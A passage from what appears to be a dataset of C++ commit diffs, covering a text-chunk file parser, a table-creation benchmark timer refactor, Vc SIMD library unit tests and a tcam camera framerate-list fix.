\"WARNING: truncated %d long line%s from %s (limit of %d characters)\", long_lines_encountered, long_lines_encountered == 1? \"\" : \"s\", fileName.c_str(), maxMsg - 1);\n    strings.push_back(buffer);\n  }\n\n  return strings;\n}\n\nbool TextChunk::reload()\n{\n  StringVector newVec = parse(maxLines);\n  if (newVec.size() > 0) {\n    theVector = newVec;\n  }\n  return (theVector.size() > 0);\n}\n\n\nsize_t TextChunk::size() const\n{\n  return theVector.size();\n}\n\n\nconst StringVector& TextChunk::getVector() const\n{\n  return theVector;\n}\n\n\n\/******************************************************************************\/\n\nbool TextChunkManager::parseFile(const std::string &fileName,\n\t\t\t\t const std::string &chunkName,\n\t\t\t\t const int maxLines,\n\t\t\t\t const int maxLineLength)\n{\n  TextChunk textChunk(fileName, maxLines, maxLineLength);\n\n  if (textChunk.size() <= 0) {\n    return false;\n  }\n\n  \/\/ add a new chunk name if it isn't already listed\n  if (theChunks.find(chunkName) == theChunks.end()) {\n    chunkNames.push_back(chunkName);\n  }\n\n  \/\/ add or replace the chunk\n  theChunks[chunkName] = textChunk;\n\n  return true;\n}\n\n\nconst StringVector* TextChunkManager::getTextChunk(const std::string &chunkName) const\n{\n  TextChunkMap::const_iterator it;\n  it = theChunks.find(chunkName);\n  if (it != theChunks.end()){\n    return &it->second.getVector();\n  } else {\n    return NULL;\n  }\n}\n\n\nconst StringVector& TextChunkManager::getChunkNames() const\n{\n  return chunkNames;\n}\n\n\nvoid TextChunkManager::reload()\n{\n  TextChunkMap::iterator it;\n  for (it = theChunks.begin(); it != theChunks.end(); it++) {\n    it->second.reload();\n  }\n  return;\n}\n\n\n\/******************************************************************************\/\n\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\r\n#include \"..\/sources\/table.h\"\r\n#include \"..\/sources\/columnStoreTable.h\"\r\n#include \"..\/sources\/rowStoreTable.h\"\r\n\r\n\/* time tracking *\/\r\n\r\ntemplate<typename TimeT = std::chrono::high_resolution_clock>\r\nstruct measure\r\n{\r\n    template<typename F, typename ...Args>\r\n    static typename TimeT::rep execution(F func, Args&&... args, int executionTimes)\r\n    {\r\n        auto start = TimeT::now();\r\n\r\n\t\tfor(auto i = 0; i < executionTimes; ++i)\r\n\t\t{\r\n        \tfunc(std::forward<Args>(args)...);\r\n\t\t}\r\n\r\n        auto duration = std::chrono::duration_cast<std::chrono::nanoseconds>(TimeT::now() - start).count();\r\n        return duration \/ executionTimes;\r\n    }\r\n};\r\n\r\n\/* test methods *\/\r\n\r\nvoid test_create_column_table(){\r\n\tstd::cout << \"create column table... \" << std::endl;\r\n\tuint32_t distinct20 [20] = { 14, 16, 15, 8, 14, 13, 12, 11, 1, 13, 17, 17, 12, 3, 16, 6, 17, 20, 3, 13  };\r\n\r\n\tColumnStoreTable t = ColumnStoreTable(100, 20);\r\n\tt.generateData(20, distinct20);\r\n}\r\n\r\nvoid test_create_row_table(){\r\n\tstd::cout << \"create row table... \" << std::endl;\r\n\tuint32_t distinct20 [20] = { 14, 16, 15, 8, 14, 13, 12, 11, 1, 13, 17, 17, 12, 3, 16, 6, 17, 20, 3, 13  };\r\n\r\n\tRowStoreTable t = RowStoreTable(100, 20);\r\n\tt.generateData(20, distinct20);\r\n}\r\n\r\nint main(int argc, char const * argv[])\r\n{\r\n\t\/* week 1 tests *\/\r\n\t\/\/ data creation sample\r\n\ttest_create_column_table();\r\n\ttest_create_row_table();\r\n\t\/\/ time measuring sample\r\n\tstd::cout << \"create column table: \" << std::endl << measure<>::execution(test_create_column_table, 10) << \" ns\" << std::endl;\r\n\tstd::cout << \"create row table: \" << std::endl << measure<>::execution(test_create_row_table, 10) << \" ns\" << std::endl;\r\n\r\n}\r\n<commit_msg>use class structure for timer<commit_after>#include <iostream>\r\n#include \"..\/sources\/table.h\"\r\n#include \"..\/sources\/columnStoreTable.h\"\r\n#include \"..\/sources\/rowStoreTable.h\"\r\n\r\n\/* time tracking *\/\r\n\r\ntemplate<typename TimeT = std::chrono::nanoseconds, typename ClockT = std::chrono::high_resolution_clock>\r\nclass TimeTimer\r\n{\r\npublic:\r\n\tTimeTimer(int executionTimes)\r\n\t: m_executionTimes(executionTimes)\r\n\t{\r\n\r\n\t}\r\n\r\n template<typename F, typename ...Args>\r\n    typename TimeT::rep measure(F func, Args&&... args)\r\n    {\r\n\t\tstd::cout << \"run \" << func << \" for \" << m_executionTimes << \" times...\" << std::endl;\r\n        \r\n\t\tauto start = ClockT::now();\r\n\t\t\r\n\t\tfor(auto i = 0; i < m_executionTimes; ++i)\r\n\t\t{\r\n        \tfunc(std::forward<Args>(args)...);\r\n\t\t}\r\n\r\n        auto duration = std::chrono::duration_cast<TimeT>(ClockT::now() - start).count();\r\n\r\n        return duration \/ m_executionTimes;\r\n    }\r\n\r\nprivate:\r\n\tint m_executionTimes;\r\n   \r\n};\r\n\r\n\/* test methods *\/\r\n\r\nvoid test_create_column_table(){\r\n\tstd::cout << \"create column table... \" << std::endl;\r\n\tuint32_t distinct20 [20] = { 14, 16, 15, 8, 14, 13, 12, 11, 1, 13, 17, 17, 12, 3, 16, 6, 17, 20, 3, 13  };\r\n\r\n\tColumnStoreTable t = ColumnStoreTable(100, 20);\r\n\tt.generateData(20, distinct20);\r\n}\r\n\r\nvoid test_create_row_table(){\r\n\tstd::cout << \"create row table... \" << std::endl;\r\n\tuint32_t distinct20 [20] = { 14, 16, 15, 8, 14, 13, 12, 11, 1, 13, 17, 17, 12, 3, 16, 6, 17, 20, 3, 13  };\r\n\r\n\tRowStoreTable t = RowStoreTable(100, 20);\r\n\tt.generateData(20, distinct20);\r\n}\r\n\r\nint main(int argc, char const * argv[])\r\n{\r\n\t\/* week 1 tests *\/\r\n\t\/\/ data creation sample\r\n\ttest_create_column_table();\r\n\ttest_create_row_table();\r\n\t\/\/ time measuring sample\r\n\tTimeTimer<> timer = TimeTimer<>(10);\r\n\tstd::cout << std::endl << timer.measure(test_create_column_table) << \" ns average time per call\" << std::endl;\r\n\tstd::cout << std::endl << timer.measure(test_create_row_table) << \" ns average time per call\" << std::endl;\r\n\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*  This file is part of the Vc library.\n\n    Copyright (C) 2009-2012 Matthias Kretz <kretz@kde.org>\n\n    Vc is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as\n    published by the Free Software Foundation, either version 3 of\n    the License, or (at your option) any later version.\n\n    Vc is distributed in the hope that it will be useful, but\n    WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with Vc.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <Vc\/Vc>\n#include \"unittest.h\"\n#include <iostream>\n#include \"vectormemoryhelper.h\"\n\nusing namespace Vc;\n\ntemplate<typename Vec> void testSort()\n{\n    typedef typename Vec::EntryType EntryType;\n    typedef typename Vec::IndexType IndexType;\n\n    typename Vec::Memory _a;\n    const IndexType _ref(IndexesFromZero);\n    Vec ref(_ref);\n    Vec a;\n    int maxPerm = 1;\n    for (int x = Vec::Size; x > 0; --x) {\n        maxPerm *= x;\n    }\n    for (int perm = 0; perm < maxPerm; ++perm) {\n        int rest = perm;\n        for (int i = 0; i < Vec::Size; ++i) {\n            _a[i] = 0;\n            for (int j = 0; j < i; ++j) {\n                if (_a[i] == _a[j]) {\n                    ++_a[i];\n                    j = -1;\n                }\n            }\n            _a[i] += rest % (Vec::Size - i);\n            rest \/= (Vec::Size - i);\n            for (int j = 0; j < i; ++j) {\n                if (_a[i] == _a[j]) {\n                    ++_a[i];\n                    j = -1;\n                }\n            }\n        }\n        a.load(_a);\n        \/\/std::cout << a << a.sorted() << std::endl;\n        COMPARE(ref, a.sorted()) << \", a: \" << a;\n    }\n}\n\ntemplate<typename T, typename Mem> struct Foo\n{\n    Foo() : i(0) {}\n    void reset() { i = 0; }\n    void operator()(T v) { d[i++] = v; }\n    Mem d;\n    int i;\n};\n\ntemplate<typename V> void testCall()\n{\n    typedef typename V::EntryType T;\n    typedef typename V::IndexType I;\n    typedef typename V::Mask M;\n    typedef typename I::Mask MI;\n    const I _indexes(IndexesFromZero);\n    const MI _odd = (_indexes & I(One)) > 0;\n    const M odd(_odd);\n    V a(_indexes);\n    Foo<T, typename V::Memory> f;\n    a.callWithValuesSorted(f);\n    V b(f.d);\n    COMPARE(b, a);\n\n    f.reset();\n    a(odd) -= 1;\n    a.callWithValuesSorted(f);\n    V c(f.d);\n    for (int i = 0; i < V::Size \/ 2; ++i) {\n        COMPARE(a[i * 2], c[i]);\n    }\n    for (int i = V::Size \/ 2; i < V::Size; ++i) {\n        COMPARE(b[i], c[i]);\n    }\n}\n\ntemplate<typename V> void testForeachBit()\n{\n    typedef typename V::EntryType T;\n    typedef typename V::IndexType I;\n    typedef typename V::Mask M;\n    typedef typename I::Mask MI;\n    const I indexes(IndexesFromZero);\n    for_all_masks(V, mask) {\n        V tmp = V::Zero();\n        foreach_bit(int j, mask) {\n            tmp[j] = T(1);\n        }\n        COMPARE(tmp == V::One(), mask);\n\n        int count = 0;\n        foreach_bit(int j, mask) {\n            ++count;\n            if (j >= 0) {\n                continue;\n            }\n        }\n        COMPARE(count, mask.count());\n\n        count = 0;\n        foreach_bit(int j, mask) {\n            if (j >= 0) {\n                break;\n            }\n            ++count;\n        }\n        COMPARE(count, 0);\n    }\n}\n\ntemplate<typename V> void copySign()\n{\n    typedef typename V::EntryType T;\n    V v(One);\n    V positive(One);\n    V negative = -positive;\n    COMPARE(v, v.copySign(positive));\n    COMPARE(-v, v.copySign(negative));\n}\n\n#ifdef VC_MSVC\nvoid bzero(void *p, size_t n) { memset(p, 0, n); }\n#else\n#include <strings.h>\n#endif\n\ntemplate<typename V> void Random()\n{\n    typedef typename V::EntryType T;\n    enum {\n        NBits = 3,\n        NBins = 1 << NBits,                        \/\/ short int\n        TotalBits = sizeof(T) * 8,                 \/\/    16  32\n        RightShift = TotalBits - NBits,            \/\/    13  29\n        NHistograms = TotalBits - NBits + 1,       \/\/    14  30\n        LeftShift = (RightShift + 1) \/ NHistograms,\/\/     1   1\n        Mean = 135791,\n        MinGood = Mean - Mean\/10,\n        MaxGood = Mean + Mean\/10\n    };\n    const V mask((1 << NBits) - 1);\n    int histogram[NHistograms][NBins];\n    bzero(&histogram[0][0], sizeof(histogram));\n    for (size_t i = 0; i < NBins * Mean \/ V::Size; ++i) {\n        const V rand = V::Random();\n        for (size_t hist = 0; hist < NHistograms; ++hist) {\n            const V bin = ((rand << (hist * LeftShift)) >> RightShift) & mask;\n            for (size_t k = 0; k < V::Size; ++k) {\n                ++histogram[hist][bin[k]];\n            }\n        }\n    }\n\/\/#define PRINT_RANDOM_HISTOGRAM\n#ifdef PRINT_RANDOM_HISTOGRAM\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        std::cout << \"histogram[\" << std::setw(2) << hist << \"]: \";\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            std::cout << std::setw(3) << (histogram[hist][bin] - Mean) * 1000 \/ Mean << \"|\";\n        }\n        std::cout << std::endl;\n    }\n#endif\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            VERIFY(histogram[hist][bin] > MinGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n            VERIFY(histogram[hist][bin] < MaxGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n        }\n    }\n}\n\ntemplate<typename V, typename I> void FloatRandom()\n{\n    typedef typename V::EntryType T;\n    enum {\n        NBins = 64,\n        NHistograms = 1,\n        Mean = 135791,\n        MinGood = Mean - Mean\/10,\n        MaxGood = Mean + Mean\/10\n    };\n    int histogram[NHistograms][NBins];\n    bzero(&histogram[0][0], sizeof(histogram));\n    for (size_t i = 0; i < NBins * Mean \/ V::Size; ++i) {\n        const V rand = V::Random();\n        const I bin = static_cast<I>(rand * T(NBins));\n        for (size_t k = 0; k < V::Size; ++k) {\n            ++histogram[0][bin[k]];\n        }\n    }\n#ifdef PRINT_RANDOM_HISTOGRAM\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        std::cout << \"histogram[\" << std::setw(2) << hist << \"]: \";\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            std::cout << std::setw(3) << (histogram[hist][bin] - Mean) * 1000 \/ Mean << \"|\";\n        }\n        std::cout << std::endl;\n    }\n#endif\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            VERIFY(histogram[hist][bin] > MinGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n            VERIFY(histogram[hist][bin] < MaxGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n        }\n    }\n}\n\ntemplate<> void Random<float_v>() { FloatRandom<float_v, int_v>(); }\ntemplate<> void Random<double_v>() { FloatRandom<double_v, int_v>(); }\ntemplate<> void Random<sfloat_v>() { FloatRandom<sfloat_v, short_v>(); }\n\ntemplate<typename T> T add2(T x) { return x + T(2); }\n\ntemplate<typename T, typename V>\nclass CallTester\n{\n    public:\n        CallTester() : v(Vc::Zero), i(0) {}\n\n        void operator()(T x) {\n            v[i] = x;\n            ++i;\n        }\n\n        void reset() { v.setZero(); i = 0; }\n\n        int callCount() const { return i; }\n        V callValues() const { return v; }\n\n    private:\n        V v;\n        int i;\n};\n\n#if __cplusplus >= 201103 && (!defined(VC_CLANG) || VC_CLANG > 0x30000)\n#define DO_LAMBDA_TESTS 1\n#endif\n\ntemplate<typename V>\nvoid applyAndCall()\n{\n    typedef typename V::EntryType T;\n\n    const V two(T(2));\n    for (int i = 0; i < 1000; ++i) {\n        const V rand = V::Random();\n        COMPARE(rand.apply(add2<T>), rand + two);\n#ifdef DO_LAMBDA_TESTS\n        COMPARE(rand.apply([](T x) { return x + T(2); }), rand + two);\n#endif\n\n        CallTester<T, V> callTester;\n        rand.call(callTester);\n        COMPARE(callTester.callCount(), int(V::Size));\n        COMPARE(callTester.callValues(), rand);\n\n        for_all_masks(V, mask) {\n            V copy1 = rand;\n            V copy2 = rand;\n            copy1(mask) += two;\n\n            COMPARE(copy2(mask).apply(add2<T>), copy1) << mask;\n            COMPARE(rand.apply(add2<T>, mask), copy1) << mask;\n#ifdef DO_LAMBDA_TESTS\n            COMPARE(copy2(mask).apply([](T x) { return x + T(2); }), copy1) << mask;\n            COMPARE(rand.apply([](T x) { return x + T(2); }, mask), copy1) << mask;\n#endif\n\n            callTester.reset();\n            copy2(mask).call(callTester);\n            COMPARE(callTester.callCount(), mask.count());\n\n            callTester.reset();\n            rand.call(callTester, mask);\n            COMPARE(callTester.callCount(), mask.count());\n        }\n    }\n}\n\ntemplate<typename T, int value> T returnConstant() { return T(value); }\ntemplate<typename T, int value> T returnConstantOffset(int i) { return T(value) + T(i); }\ntemplate<typename T, int value> T returnConstantOffset2(unsigned short i) { return T(value) + T(i); }\n\ntemplate<typename V> void fill()\n{\n    typedef typename V::EntryType T;\n    typedef typename V::IndexType I;\n    V test = V::Random();\n    test.fill(returnConstant<T, 2>);\n    COMPARE(test, V(T(2)));\n\n    test = V::Random();\n    test.fill(returnConstantOffset<T, 0>);\n    COMPARE(test, static_cast<V>(I::IndexesFromZero()));\n\n    test = V::Random();\n    test.fill(returnConstantOffset2<T, 0>);\n    COMPARE(test, static_cast<V>(I::IndexesFromZero()));\n}\n\nint main()\n{\n    runTest(testCall<int_v>);\n    runTest(testCall<uint_v>);\n    runTest(testCall<short_v>);\n    runTest(testCall<ushort_v>);\n    runTest(testCall<float_v>);\n    runTest(testCall<sfloat_v>);\n    runTest(testCall<double_v>);\n\n    runTest(testForeachBit<int_v>);\n    runTest(testForeachBit<uint_v>);\n    runTest(testForeachBit<short_v>);\n    runTest(testForeachBit<ushort_v>);\n    runTest(testForeachBit<float_v>);\n    runTest(testForeachBit<sfloat_v>);\n    runTest(testForeachBit<double_v>);\n\n    runTest(testSort<int_v>);\n    runTest(testSort<uint_v>);\n    runTest(testSort<float_v>);\n    runTest(testSort<double_v>);\n    runTest(testSort<sfloat_v>);\n    runTest(testSort<short_v>);\n    runTest(testSort<ushort_v>);\n\n    runTest(copySign<float_v>);\n    runTest(copySign<sfloat_v>);\n    runTest(copySign<double_v>);\n\n    testAllTypes(Random);\n\n    testAllTypes(applyAndCall);\n    testAllTypes(fill);\n\n    return 0;\n}\n<commit_msg>shorten test invocations with helper macros<commit_after>\/*  This file is part of the Vc library.\n\n    Copyright (C) 2009-2012 Matthias Kretz <kretz@kde.org>\n\n    Vc is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as\n    published by the Free Software Foundation, either version 3 of\n    the License, or (at your option) any later version.\n\n    Vc is distributed in the hope that it will be useful, but\n    WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with Vc.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <Vc\/Vc>\n#include \"unittest.h\"\n#include <iostream>\n#include \"vectormemoryhelper.h\"\n\nusing namespace Vc;\n\ntemplate<typename Vec> void testSort()\n{\n    typedef typename Vec::EntryType EntryType;\n    typedef typename Vec::IndexType IndexType;\n\n    typename Vec::Memory _a;\n    const IndexType _ref(IndexesFromZero);\n    Vec ref(_ref);\n    Vec a;\n    int maxPerm = 1;\n    for (int x = Vec::Size; x > 0; --x) {\n        maxPerm *= x;\n    }\n    for (int perm = 0; perm < maxPerm; ++perm) {\n        int rest = perm;\n        for (int i = 0; i < Vec::Size; ++i) {\n            _a[i] = 0;\n            for (int j = 0; j < i; ++j) {\n                if (_a[i] == _a[j]) {\n                    ++_a[i];\n                    j = -1;\n                }\n            }\n            _a[i] += rest % (Vec::Size - i);\n            rest \/= (Vec::Size - i);\n            for (int j = 0; j < i; ++j) {\n                if (_a[i] == _a[j]) {\n                    ++_a[i];\n                    j = -1;\n                }\n            }\n        }\n        a.load(_a);\n        \/\/std::cout << a << a.sorted() << std::endl;\n        COMPARE(ref, a.sorted()) << \", a: \" << a;\n    }\n}\n\ntemplate<typename T, typename Mem> struct Foo\n{\n    Foo() : i(0) {}\n    void reset() { i = 0; }\n    void operator()(T v) { d[i++] = v; }\n    Mem d;\n    int i;\n};\n\ntemplate<typename V> void testCall()\n{\n    typedef typename V::EntryType T;\n    typedef typename V::IndexType I;\n    typedef typename V::Mask M;\n    typedef typename I::Mask MI;\n    const I _indexes(IndexesFromZero);\n    const MI _odd = (_indexes & I(One)) > 0;\n    const M odd(_odd);\n    V a(_indexes);\n    Foo<T, typename V::Memory> f;\n    a.callWithValuesSorted(f);\n    V b(f.d);\n    COMPARE(b, a);\n\n    f.reset();\n    a(odd) -= 1;\n    a.callWithValuesSorted(f);\n    V c(f.d);\n    for (int i = 0; i < V::Size \/ 2; ++i) {\n        COMPARE(a[i * 2], c[i]);\n    }\n    for (int i = V::Size \/ 2; i < V::Size; ++i) {\n        COMPARE(b[i], c[i]);\n    }\n}\n\ntemplate<typename V> void testForeachBit()\n{\n    typedef typename V::EntryType T;\n    typedef typename V::IndexType I;\n    typedef typename V::Mask M;\n    typedef typename I::Mask MI;\n    const I indexes(IndexesFromZero);\n    for_all_masks(V, mask) {\n        V tmp = V::Zero();\n        foreach_bit(int j, mask) {\n            tmp[j] = T(1);\n        }\n        COMPARE(tmp == V::One(), mask);\n\n        int count = 0;\n        foreach_bit(int j, mask) {\n            ++count;\n            if (j >= 0) {\n                continue;\n            }\n        }\n        COMPARE(count, mask.count());\n\n        count = 0;\n        foreach_bit(int j, mask) {\n            if (j >= 0) {\n                break;\n            }\n            ++count;\n        }\n        COMPARE(count, 0);\n    }\n}\n\ntemplate<typename V> void copySign()\n{\n    typedef typename V::EntryType T;\n    V v(One);\n    V positive(One);\n    V negative = -positive;\n    COMPARE(v, v.copySign(positive));\n    COMPARE(-v, v.copySign(negative));\n}\n\n#ifdef VC_MSVC\nvoid bzero(void *p, size_t n) { memset(p, 0, n); }\n#else\n#include <strings.h>\n#endif\n\ntemplate<typename V> void Random()\n{\n    typedef typename V::EntryType T;\n    enum {\n        NBits = 3,\n        NBins = 1 << NBits,                        \/\/ short int\n        TotalBits = sizeof(T) * 8,                 \/\/    16  32\n        RightShift = TotalBits - NBits,            \/\/    13  29\n        NHistograms = TotalBits - NBits + 1,       \/\/    14  30\n        LeftShift = (RightShift + 1) \/ NHistograms,\/\/     1   1\n        Mean = 135791,\n        MinGood = Mean - Mean\/10,\n        MaxGood = Mean + Mean\/10\n    };\n    const V mask((1 << NBits) - 1);\n    int histogram[NHistograms][NBins];\n    bzero(&histogram[0][0], sizeof(histogram));\n    for (size_t i = 0; i < NBins * Mean \/ V::Size; ++i) {\n        const V rand = V::Random();\n        for (size_t hist = 0; hist < NHistograms; ++hist) {\n            const V bin = ((rand << (hist * LeftShift)) >> RightShift) & mask;\n            for (size_t k = 0; k < V::Size; ++k) {\n                ++histogram[hist][bin[k]];\n            }\n        }\n    }\n\/\/#define PRINT_RANDOM_HISTOGRAM\n#ifdef PRINT_RANDOM_HISTOGRAM\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        std::cout << \"histogram[\" << std::setw(2) << hist << \"]: \";\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            std::cout << std::setw(3) << (histogram[hist][bin] - Mean) * 1000 \/ Mean << \"|\";\n        }\n        std::cout << std::endl;\n    }\n#endif\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            VERIFY(histogram[hist][bin] > MinGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n            VERIFY(histogram[hist][bin] < MaxGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n        }\n    }\n}\n\ntemplate<typename V, typename I> void FloatRandom()\n{\n    typedef typename V::EntryType T;\n    enum {\n        NBins = 64,\n        NHistograms = 1,\n        Mean = 135791,\n        MinGood = Mean - Mean\/10,\n        MaxGood = Mean + Mean\/10\n    };\n    int histogram[NHistograms][NBins];\n    bzero(&histogram[0][0], sizeof(histogram));\n    for (size_t i = 0; i < NBins * Mean \/ V::Size; ++i) {\n        const V rand = V::Random();\n        const I bin = static_cast<I>(rand * T(NBins));\n        for (size_t k = 0; k < V::Size; ++k) {\n            ++histogram[0][bin[k]];\n        }\n    }\n#ifdef PRINT_RANDOM_HISTOGRAM\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        std::cout << \"histogram[\" << std::setw(2) << hist << \"]: \";\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            std::cout << std::setw(3) << (histogram[hist][bin] - Mean) * 1000 \/ Mean << \"|\";\n        }\n        std::cout << std::endl;\n    }\n#endif\n    for (size_t hist = 0; hist < NHistograms; ++hist) {\n        for (size_t bin = 0; bin < NBins; ++bin) {\n            VERIFY(histogram[hist][bin] > MinGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n            VERIFY(histogram[hist][bin] < MaxGood)\n                << \" bin = \" << bin << \" is \" << histogram[0][bin];\n        }\n    }\n}\n\ntemplate<> void Random<float_v>() { FloatRandom<float_v, int_v>(); }\ntemplate<> void Random<double_v>() { FloatRandom<double_v, int_v>(); }\ntemplate<> void Random<sfloat_v>() { FloatRandom<sfloat_v, short_v>(); }\n\ntemplate<typename T> T add2(T x) { return x + T(2); }\n\ntemplate<typename T, typename V>\nclass CallTester\n{\n    public:\n        CallTester() : v(Vc::Zero), i(0) {}\n\n        void operator()(T x) {\n            v[i] = x;\n            ++i;\n        }\n\n        void reset() { v.setZero(); i = 0; }\n\n        int callCount() const { return i; }\n        V callValues() const { return v; }\n\n    private:\n        V v;\n        int i;\n};\n\n#if __cplusplus >= 201103 && (!defined(VC_CLANG) || VC_CLANG > 0x30000)\n#define DO_LAMBDA_TESTS 1\n#endif\n\ntemplate<typename V>\nvoid applyAndCall()\n{\n    typedef typename V::EntryType T;\n\n    const V two(T(2));\n    for (int i = 0; i < 1000; ++i) {\n        const V rand = V::Random();\n        COMPARE(rand.apply(add2<T>), rand + two);\n#ifdef DO_LAMBDA_TESTS\n        COMPARE(rand.apply([](T x) { return x + T(2); }), rand + two);\n#endif\n\n        CallTester<T, V> callTester;\n        rand.call(callTester);\n        COMPARE(callTester.callCount(), int(V::Size));\n        COMPARE(callTester.callValues(), rand);\n\n        for_all_masks(V, mask) {\n            V copy1 = rand;\n            V copy2 = rand;\n            copy1(mask) += two;\n\n            COMPARE(copy2(mask).apply(add2<T>), copy1) << mask;\n            COMPARE(rand.apply(add2<T>, mask), copy1) << mask;\n#ifdef DO_LAMBDA_TESTS\n            COMPARE(copy2(mask).apply([](T x) { return x + T(2); }), copy1) << mask;\n            COMPARE(rand.apply([](T x) { return x + T(2); }, mask), copy1) << mask;\n#endif\n\n            callTester.reset();\n            copy2(mask).call(callTester);\n            COMPARE(callTester.callCount(), mask.count());\n\n            callTester.reset();\n            rand.call(callTester, mask);\n            COMPARE(callTester.callCount(), mask.count());\n        }\n    }\n}\n\ntemplate<typename T, int value> T returnConstant() { return T(value); }\ntemplate<typename T, int value> T returnConstantOffset(int i) { return T(value) + T(i); }\ntemplate<typename T, int value> T returnConstantOffset2(unsigned short i) { return T(value) + T(i); }\n\ntemplate<typename V> void fill()\n{\n    typedef typename V::EntryType T;\n    typedef typename V::IndexType I;\n    V test = V::Random();\n    test.fill(returnConstant<T, 2>);\n    COMPARE(test, V(T(2)));\n\n    test = V::Random();\n    test.fill(returnConstantOffset<T, 0>);\n    COMPARE(test, static_cast<V>(I::IndexesFromZero()));\n\n    test = V::Random();\n    test.fill(returnConstantOffset2<T, 0>);\n    COMPARE(test, static_cast<V>(I::IndexesFromZero()));\n}\n\nint main()\n{\n    testAllTypes(testCall);\n    testAllTypes(testForeachBit);\n    testAllTypes(testSort);\n    testRealTypes(copySign);\n\n    testAllTypes(Random);\n\n    testAllTypes(applyAndCall);\n    testAllTypes(fill);\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2014 The Imaging Source Europe GmbH\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"DeviceInterface.h\"\n\n#include \"BackendLoader.h\"\n#include \"logging.h\"\n\n#include <algorithm>\n#include <memory>\n\nusing namespace tcam;\n\n\nstd::shared_ptr<DeviceInterface> tcam::openDeviceInterface(const DeviceInfo& device)\n{\n\n    try\n    {\n        auto loader = BackendLoader::get_instance();\n        return loader->open_device(device);\n    }\n    catch (const std::runtime_error& err)\n    {\n        SPDLOG_ERROR(\"Encountered Error while creating device interface. {}\", err.what());\n        return nullptr;\n    }\n    catch (...)\n    {\n        SPDLOG_ERROR(\"Caught unhandled exception while opening device.\");\n    }\n    return nullptr;\n}\n\noutcome::result<tcam::framerate_info> DeviceInterface::get_framerate_info(const VideoFormat& fmt)\n{\n    for (auto&& desc : get_available_video_formats())\n    {\n        if (desc.get_fourcc() == fmt.get_fourcc())\n        {\n            return tcam::framerate_info { desc.get_framerates(fmt) };\n        }\n    }\n    return tcam::status::FormatInvalid;\n}\n<commit_msg>Fix empty framerate list on bad format requests<commit_after>\/*\n * Copyright 2014 The Imaging Source Europe GmbH\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"DeviceInterface.h\"\n\n#include \"BackendLoader.h\"\n#include \"logging.h\"\n\n#include <algorithm>\n#include <memory>\n\nusing namespace tcam;\n\n\nstd::shared_ptr<DeviceInterface> tcam::openDeviceInterface(const DeviceInfo& device)\n{\n\n    try\n    {\n        auto loader = BackendLoader::get_instance();\n        return loader->open_device(device);\n    }\n    catch (const std::runtime_error& err)\n    {\n        SPDLOG_ERROR(\"Encountered Error while creating device interface. {}\", err.what());\n        return nullptr;\n    }\n    catch (...)\n    {\n        SPDLOG_ERROR(\"Caught unhandled exception while opening device.\");\n    }\n    return nullptr;\n}\n\noutcome::result<tcam::framerate_info> DeviceInterface::get_framerate_info(const VideoFormat& fmt)\n{\n    for (auto&& desc : get_available_video_formats())\n    {\n        if (desc.get_fourcc() == fmt.get_fourcc())\n        {\n            auto lst = desc.get_framerates(fmt);\n            if (!lst.empty())\n            {\n                return tcam::framerate_info { lst };\n            }\n        }\n    }\n    return tcam::status::FormatInvalid;\n}\n<|endoftext|>"}
